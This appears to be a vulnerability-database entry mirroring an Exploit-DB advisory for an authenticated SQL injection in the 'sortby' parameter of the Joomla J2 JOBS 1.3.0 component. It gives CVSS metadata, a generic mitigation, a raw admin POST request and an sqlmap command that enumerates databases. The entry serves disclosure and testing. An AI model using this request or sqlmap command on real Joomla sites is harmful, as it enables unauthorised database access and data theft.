Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection

vendor:

J2 JOBS

by:

Mehmet Kelepçe / Gais Cyber Security

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: J2 JOBS

Affected Version From: 1.3.0

Affected Version To: 1.3.0

Patch Exists: NO

Related CWE: N/A

CPE: a:joomsky:j2_jobs:1.3.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux - Apache2

2020

Joomla! J2 JOBS 1.3.0 – ‘sortby’ Authenticated SQL Injection

An authenticated SQL injection vulnerability exists in Joomla! J2 JOBS 1.3.0. The vulnerability is due to improper validation of user-supplied input in the 'sortby' parameter. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the application's database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
# Date: 2020-06-17
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Vendor Homepage: https://joomsky.com/
# Software Link: https://joomsky.com/products/js-jobs-pro.html
# Change Log (Update) : https://joomsky.com/products/js-jobs.html
# Version: 1.3.0
# Tested on: Kali Linux - Apache2

Vulnerable param: sortby
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POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1


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sqlmap poc:

sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby


Mehmet KELEPÇE

Penetration Tester | Red Team